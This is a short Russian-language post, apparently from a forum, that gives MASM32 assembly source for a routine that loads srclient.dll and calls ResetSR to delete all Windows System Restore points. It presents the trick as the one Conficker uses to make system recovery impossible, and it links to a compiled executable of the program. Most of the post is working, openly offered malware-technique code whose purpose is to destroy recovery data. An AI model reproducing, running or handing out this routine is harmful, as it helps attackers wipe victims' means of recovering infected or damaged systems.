Эта функция сбрасывает "System Restore", тем самым удаляя все точки восстановления.
Этот трюк используется Conficker'ом с той же целью - сделать невозможым восстановление системы.
Сам код:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
DllName db 'srclient.dll',0 ; Имя библиотеки
FncName db 'ResetSR',0 ; Имя нужной API-функции
hLib dd 0
.code
start:
invoke LoadLibrary, addr DllName
; Подгружаем библиотеку
mov hLib, eax
invoke GetProcAddress, hLib, addr FncName
; Находим в ней адрес нужной API-функции
push 0
call eax ; Сбрасываем SR
invoke FreeLibrary, hLib
; Освобождаем загруженную библиотеку
invoke ExitProcess, 0
end start
Скомпилинный код программы-http://exfile.ru/58698